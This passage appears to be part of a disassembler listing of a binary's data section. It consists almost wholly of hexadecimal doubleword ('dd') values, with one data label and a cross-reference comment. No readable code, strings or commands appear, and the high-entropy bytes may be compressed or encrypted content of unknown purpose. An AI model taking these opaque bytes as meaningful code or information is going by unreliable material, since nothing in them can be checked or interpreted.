0AA99A5DDh, 3807F826h dd 0A8A88D1Dh, 0FC553B02h, 0A778820Fh, 0AA06B0BDh, 0BA43F938h dd 82B98308h, 0BDFCA170h, 0FE003554h, 4907470Fh, 22B9FA75h dd 0BB706A17h, 0E409F101h, 0DEEB7682h, 868E0002h, 7043763h dd 3F655138h, 8ADC4536h, 0E913EF26h, 6B5947E4h, 49657F7h dd 5F211C13h, 758A80C4h, 45820525h, 211508CCh, 0C4570147h dd 0E9D98B91h, 9D178012h, 0CACF4FBBh, 41373D0Eh, 0D94A4380h dd 0E028AB17h, 5CFAFE00h, 8D10C32Ch, 6137C00Fh, 0AD29F082h dd 0A8601D3Eh, 62654C8Fh, 8800F1AEh, 0E68507BCh, 0CB8C1C6Eh dd 82670034h, 765B4E39h, 0B8100F01h, 0D1043D51h, 46D93BF1h dd 9754487h, 0E11562Eh, 0E4EC4802h, 80069065h, 5C58433h dd 76962A8Eh, 8553479Ch, 2945C204h, 900D718Ch, 0AABB0EE7h dd 812BFF30h, 22C00477h, 84C1341Dh, 753319F9h, 73FBC20h dd 0EF660A77h, 38027330h, 8C99EC41h, 0F9FFCC7Fh, 0FE450C40h dd 60A5E9h, 8C52C462h, 1108254Dh, 4CB1AA82h, 84D05AABh dd 18568913h, 2A825E02h, 0A18181EEh, 8A133F23h, 1388B9EAh dd 43971423h, 512408A5h, 91C459C3h, 1918458Ah, 514188h dd 0C06C5DC4h, 0BC6733EEh, 1A7B33Ah, 81F9DA8Dh, 23E805E2h dd 5698018Bh, 8610CA0Bh, 8C418762h, 8A83C8DBh, 2AC311Eh dd 870EE919h, 4CF2750Bh, 0B67DB2D0h, 18CB7E5Dh, 6CDCE4E8h dd 5C1A9C6Ah, 9D2F6FEAh, 801B1184h, 5F97F716h, 0B5440C95h dd 341F07E9h, 5D4893Dh, 8B108CE6h, 0D8BC9723h, 52191D7Eh dd 0A97F5F5Ch, 5C185443h, 8A23C472h, 0E1D115Dh, 0E0C45444h dd 0FB86D0AAh, 0BD3E0096h, 6758516Ah, 5C6FDF8Ch, 3E2C63Eh dd 10E9306Ah, 9A8F273Dh, 93AB940Eh, 0B9E2A05Dh, 2408EEF3h dd 18ABE748h, 25723DDAh, 3C100F89h, 0D4001D15h, 43675278h dd 0E136D40h, 53BE2F10h, 2B148486h, 0E11AEA50h, 82B67C00h dd 3FBCBD28h, 142A00FCh, 5B88BE25h, 0C807BB60h, 82543008h dd 1E6DE653h, 0F0831036h, 0A9B76143h, 9FD68102h, 0A0EEBC62h dd 3BBDBBC7h, 8C2D00E2h, 0CBC98238h, 15484FDBh, 87C102B0h dd 80EA6027h, 2268AE7Dh, 0CC3F008Ch, 0ECB19CFBh, 3E00BDD2h dd 0F782FA9Eh, 4875CDB6h, 0F10CD702h, 0B94AE44Bh, 70898119h dd 671005E0h, 493D8FBBh, 0DC88A957h, 0C206BE20h, 0AEA0890h dd 808F0015h, 48A5FDF2h, 0DF4CD2FEh, 7F5C017Fh, 15EA50A7h dd 204CF910h, 2596CC03h, 0A8DB3290h, 796C311Eh, 96E0504h dd 0CFBB68Bh, 613F5893h, 4111EA33h, 0AEE0D87Dh, 80EE00FBh dd 289E4CC7h, 9B15E509h, 15DC34h, 0EB784781h, 0F281C66h dd 1350BFE7h, 0CD5DB860h, 84126218h, 0BC0802ECh, 8514BB22h dd 82017306h, 0EA4A7DE1h, 0DCC31029h, 72E70781h, 7076F57Ch dd 3DC5BFAEh, 0EFE2F80Ah, 0EA0B8D06h, 35F72028h, 20F9F4h dd 0E06DDB9Fh, 363DA3E9h, 3F78CB1Fh, 21FDD500h, 743CCECFh dd 0D4C60125h, 1AA1DA23h, 0B3CCD802h, 3E530A3Ah, 35CF0FD3h dd 0A3EA8E51h, 0C08EEED1h, 0DDD88281h, 2A25C010h, 3EB830ECh dd 68C048DEh, 226C799Dh, 8C450FCEh, 0CDEE2169h, 9504AC60h dd 5A3052B5h, 0D92C40D3h, 0F568C0CEh, 56AFA6B9h, 0AD4C6806h dd 1851028Ch, 719A7915h, 5A01D317h, 4959FFF1h, 0B0812162h dd 0CB44724Ch, 9135E0D6h, 28924E0Ch, 3CA10CEh, 0F2FF8FCFh dd 507CC8D5h, 0B4F65600h, 0E898C6BEh, 6340001Ch, 0C564D7F3h dd 2503B734h, 0A56DCA88h, 7EA1DE2Ch, 0A8130C30h, 5B28FB9Eh dd 8EB39000h, 0E5486D9Ah, 49333046h, 5DECD361h, 26E4A90Fh dd 95086D5h, 510A2919h, 4B183EACh, 13261925h, 3810A4A3h dd 0B700F609h, 99F9FB95h, 0D31DFA0Eh, 31702CCCh, 345D1F4h dd 9C05650Dh, 6EE8FCEDh, 5C308A48h, 815AF8C9h, 9003501Eh dd 548C0CB4h, 6E58FCF9h, 0ACA0D600h, 0BA21D722h, 0D2B4A833h dd 4CC8004Dh, 913234EFh, 2100CAE7h, 0F2198A2Dh, 5426631h dd 0E4464188h, 2FDC20A0h, 36286137h, 0C403D0E3h, 0F9134FC6h dd 82BFC2C5h, 904C33BCh, 0CED62C80h, 0E720CA39h, 0B46901Ch dd 758C8A14h, 0B5D50384h, 5F88E62h, 0B3DE6850h, 43AC5DD8h dd 0E5D629D4h, 4E2B1100h, 0D2571766h, 483D00B2h, 0DA739E90h dd 11008975h, 0B531BF3Fh, 0D1F5BE7Ah, 0F002B450h, 0D7C56624h dd 78EE9700h, 9CCA503Ch, 2281105Eh, 6A37010Dh, 0F51A4958h dd 0DFD6C040h, 52A05F2h, 12E8091h, 7E49FAA0h, 0A3308201h dd 0A7324F0Ah, 0A96D33A8h, 0A45DFC03h, 0FFD1B540h, 29C035B9h dd 8E0DBEAFh, 79D7E8A1h, 1D6E0628h, 41D64CDFh, 0A5903B50h dd 0B3FCC841h, 0B4B0CA5Bh, 0CFA13990h, 1D0A4828h, 0C8F2A679h dd 8040C592h, 8E67C6F6h, 49E96E64h, 51C1B5A0h, 2408B8DBh dd 9CD7B6E0h, 0C330414Dh, 1095249h, 20228CA6h, 13C0CE00h dd 0F7F00A98h, 5ED982EFh, 80D8F699h, 27433A94h, 98D05091h dd 88630216h, 8652B8AEh, 0FD9F2469h, 0D7DDD05Ah, 0D289591Ch dd 0B26B8E00h, 0E864CDh, 0FFC2241Eh, 26B7184Ch, 1F71F07Fh dd 8D036900h, 0D85B4A4Fh, 8753004Eh, 0BA54B236h, 3D1E266Ch dd 0F0003542h, 0A4B37E11h, 0A17503C2h, 2859A019h, 271F96E0h dd 0F945D400h, 0FDC6573Bh, 90670047h, 5BC1E58Eh, 0DE009F8Dh dd 0B9E45A9Eh, 12D18C53h, 5C81551Ah, 1CC35E18h, 9F9ADFCFh dd 18E3186Ch, 0D542DD9h, 0F00023F8h, 672F1B7Ch, 548EC0E8h dd 0A8CC2054h, 390A8CB4h, 0A5810B30h, 452511E2h, 7E50F4C8h dd 0F594DA51h, 9183260h, 0A09E491Dh, 0B965EC84h, 0D5271C04h dd 0CA51B184h, 14CC22A6h, 84E850E0h, 2885C4B3h, 15901460h dd 0EED62249h, 61356406h, 110DC8Ah, 4E6E7DC1h, 21235C72h dd 13E2D274h, 64B474A0h, 90EAD0B1h, 7C9C8C49h, 408E493Ah dd 9A30F8ECh, 6E650330h, 0CD511439h, 0B5C6C904h, 948C590Ah dd 0EC0A844Dh, 94F4D98Dh, 162E9106h, 79630019h, 25DA1009h dd 7400F984h, 678839ABh, 16DC7741h, 9725A57h, 0F890C90Ch dd 9230611Dh, 158CD0E4h, 30D8002Ah, 597E6E67h, 89060348h dd 0EB4955EEh, 696D0570h, 4161848Eh, 4D06C6E8h, 0E15C4C4h dd 0DC60E9FAh, 1424FE18h, 0BC985454h, 1355F0D9h, 4F764FDEh dd 0A1003CE8h, 0D17D5633h, 5C54009Ah, 0A845778h, 0F24D5624h dd 4451882Ch, 365AB583h, 19C014E6h, 5B009499h, 8DD3C3CEh dd 0E0401D6Ch, 511264Fh, 298760E4h, 0C3001A7Dh, 6FCEEC71h dd 0EC364909h, 97D324BAh, 0D21708DCh, 0C2001CA2h, 0D1F9AA1Bh dd 268DAF28h, 2CF2001h dd 8972E4BDh, 82B5E090h, 98D23230h, 4DEF5C88h, 48054CC5h dd 1E0872h, 3FB735FCh, 0B344DFC6h, 7A4C1FCEh, 0D020B0F4h dd 8E58E3EDh, 4BE08408h, 0C83078C9h, 0D8AD2654h, 0CC379438h dd 0E8C06D2Ah, 498C78B5h, 1F04A809h, 90ED5261h, 0D4369064h dd 6E681C12h, 6151340Dh, 97F88FCh, 0B678D7C9h, 8D213A80h dd 7E0A31D0h, 88DF87E4h, 0C1433544h, 0C2B06D54h, 0A5043B3Ch dd 57146208h, 0D001C889h, 9006DB2Ah, 6FAF520h, 0B08A4DC6h dd 5A09E804h, 87FE3AA1h, 44C34C8Ch, 98184830h, 0ADA1F10h dd 84DDA2CAh, 0BEA8B847h, 19D18818h, 214495Eh, 6902A9Ah dd 0DFD5A224h, 353B0029h, 9B28BB58h, 9CE84452h, 7EEBC800h dd 0DBDC42ACh, 1664E0A4h, 40EC7A4Eh, 0EDC5945Ch, 33495488h dd 223458F0h, 472344DBh, 1DD2BB05h, 0FCC1D1EFh, 5C11F1A6h dd 9F1BEEDh, 4BDC1E59h, 0CD2CB10h, 53AD6A41h, 5A0C0608h dd 60EA2AB9h, 0AB3E484Eh, 448A5116h, 8E6A2C08h, 0F4F71604h dd 255A7801h, 1270B692h, 825219B5h, 102139E8h, 21620C6h dd 0DA48D519h, 0FCC058B0h, 8D80E3DEh, 0E46E0A9Dh, 8DCC35Ah dd 0C401FCAAh, 152DF6A3h, 0D93F180h, 0DBBF814Fh, 5507603h dd 94EC0C6Ch, 0F0BBC9C0h, 25361310h, 0E0C007Dh, 0EA495BC5h dd 0D9CE954h, 0E4416288h, 867303BCh, 0D8C4BEB2h, 78A0E380h dd 980C35Dh, 498DE477h, 0A0600230h, 18A09826h, 19E22C91h dd 9700941Eh, 84EA7F72h, 399ADFh, 0E03BF62Ah, 3B7918Ah dd 0AC087401h, 0CFC15133h, 9F1C6080h, 0D6EA6115h, 50F0E8D5h dd 3449BA6Ch, 0F02B0070h, 83561B14h, 0AC880FE1h, 0B924DB49h dd 982017C6h, 6EB638h, 86BC24B7h, 4FCBCCA6h, 0E048F761h dd 2986E64Ah, 0B9DA9FCAh, 8394BA48h, 98562E63h, 108A787Dh dd 0BFCEE54h, 0A71A8115h, 9C48C54h, 4935FCD0h, 3035ED2Ah dd 83F910F0h, 6900E3EBh, 0E8C15692h, 8E52CAh, 54699385h dd 0BE66E3BFh, 0B2201090h, 882B7ADFh, 80056F8h, 8CC89819h dd 189EEC1Bh, 7AA58725h, 0E609B4AEh, 614C88EFh, 78213024h dd 96A420F2h, 80C2A992h, 0E4AD17B7h, 0A15C167Ch, 9D8C40BAh dd 0C82191A4h, 0C3DD201Ch, 49DF8A39h, 0A54290C9h, 8882AD7h dd 9902FA32h, 5011660Ch, 134D1D80h, 0B5B0C325h, 3100E02Ch dd 40F75E3Eh, 56B3C5h, 2B9D199Eh, 5DB6C352h, 4D1D1C1Eh dd 0E7879407h, 256C8EF0h, 51DFE3h, 0E21D2A3Ah, 6E042ED1h dd 7C29C4B6h, 0FF8890C0h, 68793005h, 0D1B332F9h, 3DB71212h dd 0D0291447h, 0F6B5A0E0h, 0AE830E90h, 72409C17h, 8768D7Ch dd 2A2C8700h, 0D0E6154Dh, 6844B883h, 8ECEEBBh, 6601EFC5h dd 0BA2A1F56h, 448C58A0h, 300653E4h, 2406D50Fh, 7EAF410h dd 0F40A8442h, 29E0C6F7h, 7756307h, 6B40FBF1h, 9DBB1Dh dd 11895BB9h, 8F2556E5h, 2E643C09h, 1C8412DBh, 3B4979F4h dd 138AE928h, 7004FE3Bh, 0F0831546h, 3D5A92h, 79C611AAh dd 0FC3FF381h, 9D4A290Ch, 5C3B183Eh, 3D3031E3h, 5DC05140h dd 41105307h, 594CA72Ch, 0D3A900CCh, 3AC7C4FAh, 0C87C114Bh dd 5ED13F1Eh, 0F21416C1h, 41D4AAA0h, 35450061h, 0AC4FF75h dd 0C1F0680Bh, 30107A68h, 0AB0A2760h, 95FC0080h, 3CDDDA71h dd 0AE002E67h, 0A9FF1C61h, 3079CA11h, 0ADB8CC88h, 10F0C444h dd 2010D560h, 384AA311h, 803F3EEAh, 2186EF00h, 79C7CF74h dd 0C3292461h, 0C8873E1Fh, 60FF1D54h, 0AF08CAC5h, 15D20A0Ch dd 3365906Fh, 7EA9A945h, 13AFB5D8h, 81383C61h, 908FDC84h dd 895BFC8h, 0A864260Ah, 0ED7F06BCh, 4CF041B4h, 0C8A9792Ah dd 0C7ABE906h, 0C910CB1h, 12C08FE1h, 0D06FA79h, 8B1BE50h dd 2AAE7A21h, 7CE8FDC1h, 0E89014BFh, 2A721811h, 1AE0996Ah dd 71AC77C0h, 2670658Ch, 2441DC05h, 0AC029661h, 408B9265h dd 0C3C15EFh, 9181ADCAh, 0BF0C9E41h, 0E83AF2A1h, 2442481Bh dd 8BD87E8Ch, 0F184670Eh, 7C009E3Eh, 0ABAADA81h, 0ADFE02A4h dd 146C3BDFh, 8F5A2922h, 0E085054Ch, 1E7FA043h, 75886E9h dd 0F134679Bh, 402C475Eh, 94D9F262h, 84FCC703h, 0CA3B427Dh dd 153C4816h, 43EE180Dh, 537D1112h, 45B93C03h, 318A7F4Ah dd 7910A961h, 40B850C5h, 0F03A8103h, 0F4C028F8h, 0EECF18C2h dd 6528B416h, 38A87962h, 0FA72FF28h, 0F9C258C5h, 56689440h dd 1DB04CD3h, 53F53BBh, 404090BFh, 84ECC5A4h, 0EA560D07h dd 0BE4E8140h, 40FB8FBFh, 3BB68939h, 4703427Eh, 0AAB783FCh dd 0A49F9115h, 3C4C11D8h, 583C3D2Bh, 8E54804Ah, 502A62A4h dd 0C90D4F6h, 34E14329h, 0C00BFFD1h, 0C2327815h, 0DF1F3DB3h dd 31FCA018h dword_49005C dd 9D00FDBCh, 3C437DC0h, 0A3F51D42h, 0BC6C8548h, 0EE868D3Ch ; DATA XREF: ___:off_427B6Co dd 74C92B28h, 6C7148C9h, 4A7F4C09h, 496B9827h, 0BCFA7C21h dd 3D6194E4h, 119E2154h, 358F0160h, 3E92BF7Eh, 0BDC07180h dd 8BC7C1AAh, 30256300h, 0D71E0E59h, 7091D4F3h, 0BD05E000h dd 7A4C15A0h, 29815760h, 0F8673F46h, 5220A6C2h, 260ABC48h dd 9A0AD0Bh, 9C0432C2h, 56A08065h, 0FC06E91Dh, 0FE61B83Ah dd 3F9F18E8h, 86DB3844h, 0D1675C00h, 11CAF1ACh, 0E3080E8Fh dd 5609BF5Ah, 0E040CF87h, 0CCB4FF9Dh, 0F418EE02h, 60F0574Bh dd 0A7A24Ch, 6AC4625Ch, 7FEBE38Dh, 53AE3600h, 260BF9CDh dd 0CCC1009Bh, 40B602EDh, 90371BFCh, 0F01407Eh, 0C200A48Fh dd 0F600846Ah, 883696F9h, 0D4CB6Fh, 3CAB3280h, 5EBED9ACh dd 800FCEAh, 36504CB1h, 19B0FE9h, 0C05B5CBAh, 0E4F683BBh dd 80B1CC97h, 0F7041F52h, 5E02F8AAh, 0D89DB8BBh, 0B3D840F9h dd 0ECC90E60h, 0FBA10A80h, 6013DCB1h, 1C000636h, 0F1467E4Ah dd 0C9416D5h, 0C4768A68h, 1100E240h, 32890D4Eh, 7BD3D7h dd 0A12AAC1Bh, 44B60ACEh, 0ADEAAF00h, 0E1FB286Eh, 5C8B3883h dd 0E59BFCC1h, 0B71240h, 15FFC032h, 0B528A926h, 5D07F000h dd 4A17C138h, 0E48200C2h, 0A9A483E5h, 1600778Ah, 4D99BA6h dd 9AD064Eh, 0FFFC15Dh, 5D94388Ah, 0C0480076h, 0FBDF87ADh dd 32F8337Fh, 15D3D200h, 9923A925h, 4EBE00CEh, 0F40F063Ch dd 0EB002BBFh, 0BBC878FAh, 0C45D8Fh, 0D6CB9CB5h, 53E30C92h dd 80FAC901h, 8F147849h, 0BEFDDCh, 64F28B07h, 0D3F745AAh dd 69CC7918h, 20BBBA40h, 21FC885h, 0D44074E3h, 405E4913h dd 10F20FADh, 0FC00142h, 0FB527EB8h, 8F68D305h, 9C090BAh dd 5F5F1BBh, 8A087DD6h, 13E28075h, 8CB33D67h, 8387F855h dd 6AD15F1Dh, 8004E340h, 66B301h, 674FE9C3h, 0F4B20FABh dd 0E212D180h, 434C07B7h, 0A10D24F3h, 0F4495CBBh, 0A40E9CB1h dd 800C8B03h, 0FD4D362h, 3F67001Dh, 4B04DCDAh, 1707EE01h dd 0C45BC59h, 67A40EE0h, 0BD0B0089h, 15C984B8h, 0A0007182h dd 56E6BC32h, 390DA90Ah, 6083C7B1h, 0F402E801h, 0E3F750F0h dd 0A48B0B0Eh, 0B5A28346h, 93D6D19Dh, 0FE6F9680h, 0A62715FBh dd 0CADA2F16h, 9E2AAC08h, 0DEF18257h, 8058E279h, 4378882h dd 86C240FFh, 9A003424h, 0A0832281h, 141E108Dh, 34CE3DA1h dd 373905ABh, 0BC80B19Eh, 30A9CA1h, 315DA034h, 2CECF24Fh dd 6A0C209Fh, 293D9D04h, 0F3400FA7h, 7E0DBF99h, 0AADAA90Bh dd 0FFC0C194h, 2D0E864h, 3CFBF91h, 6720FCC8h, 25A79CDh dd 4C07C4FFh, 4120C664h, 0BEDA2C82h, 43BE0E64h, 0A5B1C33Ch dd 40014010h, 0ED7F44A0h, 13005FCDh, 7E03EFAFh, 0F0BEC7C0h dd 78990015h, 11DB20D8h, 0FA15F341h, 9D1C92A7h, 4FF25BE0h dd 6E061E0h, 0AC4FCF0h, 17121005h, 1000CA04h, 0C7C6FB67h dd 0ECD50069h, 7811FC3Fh, 3D1868FDh, 0FA585256h, 8000BCBDh dd 63F281Ch, 4A1A2AF1h, 0F8D8D754h, 3C692068h, 0D4D87E00h dd 674116C6h, 31F8E28Fh, 0FE10BFA4h, 7CC2E5BDh, 79C60EB4h dd 0E78185Dh, 0D045541Eh, 0E040005Bh, 7870431h, 677E92D6h dd 904A3A31h, 2980461Bh, 0F2A5BA6Ah, 5031973h, 0ED69C6A6h dd 12C90CF3h, 6E28FA23h, 0E8D56118h, 0A8FDA618h, 0EE872DE4h dd 49CF01B3h, 25D3BED6h, 0AAE980E3h, 8E2F670Fh, 95970050h dd 0E4537C0Ch, 0A8006140h, 46422ECAh, 30AF08CDh, 3B6922C0h dd 50010BDEh, 0F11C6598h, 0E47C7D3Eh, 3920904Ah, 6F3B5014h dd 5E9200E8h, 0A111AA21h, 77970067h, 105178D8h, 7F012E41h dd 81E9AC7h, 0F183C104h, 0E4BE1D3Bh, 0AD12ABE8h, 4AFAC502h dd 4C303D9Fh, 0BF940460h, 62917E12h, 8CD520EDh, 8E005DBFh dd 9841D269h, 5EBE2BD9h, 0F8E44077h, 64586711h, 923C181Ch dd 5148A9B1h, 0A400FDF7h, 0EB072F27h, 0CAFB2834h, 0A0C430F4h dd 664A84C8h, 778024EFh, 120D7801h, 0C3108242h, 183C1820h dd 48F1896Ch, 8B181520h, 4E31AB86h, 4AFF7AADh, 2774C340h dd 21BA0930h, 0FFC56Eh, 0C34824E3h, 18FB712h, 6A3FE104h dd 60ADEE10h, 0B2B84074h, 0A1F68400h, 2E9F804Ch, 749250BEh dd 391F00F5h, 226E824Bh, 664A4C17h, 0A0B620D3h, 984409D2h dd 0C3F48110h, 50081618h, 0C4846595h, 7F4E5ED8h, 53410050h dd 4860FF9h, 1CF07DA4h, 8484C7h, 0FA0D4AE4h, 5548C5CBh dd 0C052046Ch, 847BCAh, 1C0044A9h, 2D8D4042h, 0E0A8FAA7h dd 600DA53h, 6D20E62Ah, 2548A19h, 5F529ACCh, 18643BE3h dd 6597AD00h, 49C5F174h, 88F650C9h, 21066E9Fh, 0C072401Fh dd 4C2B950Bh, 0BFB5FF00h, 0ADC36A30h, 57390319h, 8931F565h dd 147EA001h, 587DED7Ah, 4C9710BBh, 81E8D479h, 0D7B074h dd 60C56940h, 0D2970F2h, 4350E342h, 0F8187C60h, 0B6E85CD0h dd 0F5E183A8h, 0FD8C3094h, 783FF720h, 0C4244AFAh, 0C1C00824h dd 9B500CC0h, 22344665h, 153C00ECh, 8D5E8E50h, 8C14D20Fh dd 853816BEh, 844004A6h, 455EA71Ah, 71FB0082h, 534A7E50h dd 6F049FECh, 0C604380Eh, 20D5F4CCh, 0AD2C47B1h, 0B40667BAh dd 3821FB25h, 0EC801C11h, 0C077F729h, 0E8DE4B81h, 2516F2C1h dd 0C8D0E87Ah, 0FB912051h, 184992E4h, 624C16B0h, 68041C25h dd 101D8F4h, 6495ADFDh, 4D06D29Ah, 567645BCh, 4BC61288h dd 0F09CB47Bh, 940CDC04h, 2CB91D75h, 0D825007Dh, 77F6C508h dd 0B1C804h, 78134624h, 31621047h, 8466A821h, 0E30A6C22h dd 8FDCFC3Ch, 26C0EAB3h, 17201A78h, 0B145B506h, 0A0C8DE7Dh dd 80E9B800h, 0F416F39Eh, 204361A5h, 903D92FBh, 18C67295h dd 81E72611h, 801CA63Fh, 53038337h, 0E08F049Dh, 56AF070Bh dd 1102F8C6h, 0C659650h, 3F10EB31h, 0D30B507Ah, 23805FEh dd 91E40904h, 0C062E0B0h, 0EC355109h, 0A44BC87Ah, 17E828C6h dd 3E3DCB43h, 0E82308h, 0A882F8EAh, 0A01E4D9Ch, 0C58E6CC6h dd 70EEECB1h, 2C9F5207h, 3930E7B2h, 8C25013Dh, 0A37CA170h dd 0ACB0605Dh, 4AC14B2h, 535D000h, 0AFF1C22Ch, 784D0108h dd 261365A4h, 53B00FCh, 9E9D09B9h, 54780974h, 1099ED00h dd 1B4F24E5h, 3C4348BBh, 3C13CF20h, 0D432194Ch, 0FFA83090h dd 0A9401211h, 155684h, 0FDFFC069h, 375009E2h, 3C98A1B3h dd 6B000381h, 0CB8C659Ah, 28B71CFh, 29850D88h, 0B3C0C924h dd 0B65CAD45h, 2DC8405Ch, 0BF95058Ch, 38897E11h, 8D13D49Ch dd 0DE0152BFh, 16A389F2h, 2C25F4F1h, 0EBF22422h, 2C01731h dd 0B7A33F7Fh, 0FEA7318Ah, 80921188h, 4014FFAAh, 22614399h dd 0C2830055h, 6B1E8BFFh, 8E1F6216h, 0F703197Eh, 0CD81C9DDh dd 0E804E816h, 0B0CC3F39h, 70238B03h, 0FFBB3A91h, 0E0A14010h dd 0FFC384h, 2CCBBB74h, 4BA1EBC8h, 4C91E49Ah, 131118A6h dd 21C9FA17h, 0A61F8534h, 6DED079h, 0C7047852h, 0E32A51E2h dd 0CB423441h, 0EFC4650Bh, 0A974BC98h, 577C7B0Fh, 22C800D9h dd 2CEDF81h, 519F3D3Eh, 0CCC1FB68h, 0CCC1A65Ch, 0EB4674h dd 383A007h, 50707E93h, 97E4B415h, 62BE9480h, 0A80CBB12h dd 39E12614h, 0C17D94h, 9E045038h, 0B3C34F0Bh, 6C20342Eh dd 2E8E008h, 0EA39B1C0h, 0D46760C6h, 0D880B841h, 212B32h dd 0D1B7A114h, 0AF74EFCFh, 8750814Ch, 888C8426h, 1D51762h dd 6D0C214Ch, 2C65184Dh, 87C49E45h, 3A85C07Ch, 67C54488h dd 4C250B5h, 60485114h dd 0A0507940h, 0F9A73412h, 0E0E4A04Fh, 0A1381EC1h, 6DF30121h dd 8444DFBCh, 0DC3224h, 6E432D52h, 1F5EC2ABh, 44BA5D57h dd 0C09D51C7h, 0B37EFC0Ah, 0E90DF402h, 67DA417Dh, 60534420h dd 1B52D31h, 9EF9B34Bh, 80937D40h, 7A4D75AAh, 0A77BFDC0h dd 60D2447Ch, 7BF41B6Ch, 467A41h, 0D5B7ACCDh, 24FC5BF7h dd 2D0E7803h, 0F24BC77Fh, 0F20072A6h, 0CE7E009Eh, 982DD921h dd 2400DE23h, 0CACB0FF6h, 12CCB704h, 0A494BFBAh, 18149508h dd 9847E17h, 82C0472Eh, 0C9872670h, 0D032BA90h, 0A7D5651Ch dd 9AC32400h, 2788BF86h, 6894008Bh, 7F102DCh, 7F00D49Eh dd 4B75EE7Eh, 722D421Ch, 0B60F0196h, 11401D98h, 4958705Fh dd 2E0A5140h, 40487CD2h, 641EDAF1h, 0B72E3D09h, 91B49DFFh dd 77C39DFFh, 66184D0h, 0A0EEE758h, 1631E04Ch, 0B03BC98Ah dd 0BA5A92F8h, 0E7281574h, 0D04B0805h, 895148B8h, 8838FB58h dd 0FFB4C094h, 8924401Eh, 85581861h, 1DFF7AACh, 82C7B4C4h dd 0D2DC9206h, 208AAC41h, 2C8CC210h, 1241500Dh, 0EA10622Ch dd 2400332Eh, 1F281C91h, 70555CBFh, 39DFA410h, 312483A3h dd 1C788D0h, 71DEB3A1h, 0F8524C26h, 0F1007480h, 0E5F7F0B9h dd 3315FEA4h, 5BE93F1Dh, 0C5B3EA90h, 11647209h, 63F0F8BEh dd 2B842152h, 7DEE8A00h, 4C3B18FBh, 3BDE4BEDh, 43503D98h dd 61CEBD03h, 0D8FB2EF3h, 241951C9h, 0CCB93BD4h, 0B998BE80h dd 13E18954h, 202544ADh, 0AFC03DE0h, 827B1772h, 6F99080Bh dd 75B4822Bh, 811005DAh, 10505D2Ch, 18032CF5h, 20E7C97Ch dd 6079683h, 63D74981h, 81875E54h, 0AF3C81FBh, 5820297Ch dd 92D01238h, 0BD5C0494h, 10F2444Bh, 9A472820h, 145CD252h dd 85887B4Ch, 0F88062BDh, 493D9EF7h, 9880682Ch, 0B17E0EBFh dd 0D110E18Ch, 7212BF90h, 0E8902446h, 28D7F03h, 0DE5ACD1Dh dd 0B8D41CF1h, 2DA27E00h, 673179C4h, 0A9BDE0FCh, 3E7C24FAh dd 8C424D4Ah, 1EA806Ah, 6222B0C8h, 3053F2E4h, 7D38A32Dh dd 8463A8F0h, 0E659C57Eh, 0C6B10100h, 0BC68AB95h, 316813E3h dd 0BE2C02C0h, 0C500AAB9h, 806DE9CBh, 24B2A21Ch, 0FAB34C06h dd 3B9501Dh, 97C1D477h, 1B805C7Bh, 913BBE3Fh, 98EA8072h dd 439E83E5h, 0D1D43262h, 90C42368h, 0DBF5FD07h, 0A2804C7Ch dd 0EE3121D6h, 0CBE70D85h, 0F47843C9h, 284ABCBDh, 80C10403h dd 9CB14C04h, 9FF8E910h, 8624D091h, 415E60B0h, 0A47FB65Bh dd 19BE8530h, 51B78Ch, 0BF37E66Fh, 0CD749895h, 0F0804716h dd 0E9C94804h, 25A85090h, 8850E7BCh, 805CE5F3h, 4CB47B96h dd 91A5443Dh, 185379D8h, 60270167h, 6965BC2Ah, 110C2291h dd 0F800407Bh, 570E4594h, 88B1211Eh, 57185279h, 92D30300h dd 590F4B38h, 0A0BF7775h, 3212F454h, 79C00121h, 8EA1730h dd 4B12C5A7h, 80405664h, 0D864EA2Fh, 468EA304h, 28E4868Ah dd 953700CAh, 0C7B2E7A5h, 0C03F1294h, 141097F3h, 0CBFDC430h dd 0A86B500Dh, 51671DB4h, 1380A8CDh, 469C60A7h, 703B269Ch dd 0EB73C01h, 5DD9499h, 89B73EE1h, 11C4F8B8h, 2C59D81h dd 884F5C48h, 0EA3E2982h, 0A1B1132Ch, 41C3F8C2h, 0F4522520h dd 4C5285h, 924C811Ah, 9C7C3998h, 0E822C800h, 2DC9B7FBh dd 0CB3A0904h, 0E81249C7h, 188DB441h, 17FF09AFh, 7C45C140h dd 0FFC76885h, 441814B8h, 19F6F0E1h, 542E609Eh, 0D2465Eh dd 0CB9EFC95h, 0C5DEBBh, 6E7E8F93h, 5C7A4B1Dh, 8E44D094h dd 18FFAE60h, 0ACB9402Eh, 0C66770h, 78237BFFh, 1E80B61Ah dd 20A88155h, 0E64055E8h, 408B032Eh, 0AF8FBFC0h, 859B210Ch dd 784954h, 366D899Dh, 682E88B1h, 5E0056E0h, 3142F1BCh dd 2EE3518h, 1378266Eh, 72A020h, 231A1403h, 98676B5Eh dd 28F382h, 55D6D8B1h, 29788C81h, 57003B7Ah, 0E6188999h dd 2043E385h, 77173A8Bh, 308740D8h, 843F14D5h, 6F005223h dd 2DDD6582h, 885501EAh, 0F46241ABh, 3AE045DEh, 5A23A4h dd 39103EABh, 5205BD21h, 1B1EE558h, 6B4324C1h, 60D89460h dd 0ED7FC1D0h, 0A1B7645Dh, 149B7A60h, 0D4782401h, 4491211Dh dd 86155378h, 780425E0h, 16BCE4D0h, 0BF0E14F6h, 4037796Dh dd 0CB0726B4h, 0AC2C45C3h, 3E40F822h, 16806FFh, 80D7A332h dd 0D85D89B6h, 0AE009267h, 0EFC47D97h, 2C4DC31Ch, 1D54F68Dh dd 0FC98A738h, 0A800BDC1h, 0AB3C214h, 12C07A11h, 0CE133316h dd 0C0D788DCh, 2F9F5F3Fh, 57D9E00h, 4551C812h, 5410BDFEh dd 0EF44B961h, 0D1E49915h, 2881851h, 61AFBCA5h, 440C8E4h dd 0AE280FEDh, 8F128044h, 0C2FA4B5h, 8004F23h, 160E83BBh dd 1EE04EDAh, 0FA4544F8h, 683B4B5Dh, 80652C90h, 822C421Eh dd 0F945B864h, 1DD14E8h, 0F7C4B268h, 41857071h, 0B71C20BDh dd 0F8B5E69Eh, 23152543h, 1F8E6C20h, 0ACE8D34Eh, 0F84C7E00h dd 61A9C030h, 345800EBh, 0EF2D6033h, 7E5D1366h, 0E32C7E90h dd 46745815h, 5AC60055h, 0AE08B4F4h, 34D92DDFh, 0D3E75C00h dd 0A806031h, 0BA082ED2h, 86A69DACh, 0CECD679Eh, 221420D4h dd 2F423CE3h, 174B0980h, 383C0A9Eh, 5814DA00h, 112B4807h dd 97BD2718h, 67A02C80h, 0C0187796h, 8578550Dh, 0ACC1C1BBh dd 60B3DC7Ah, 4900C0CAh, 7E8170A3h, 66D8A1h, 0EEF45CFDh dd 4A53C2F5h, 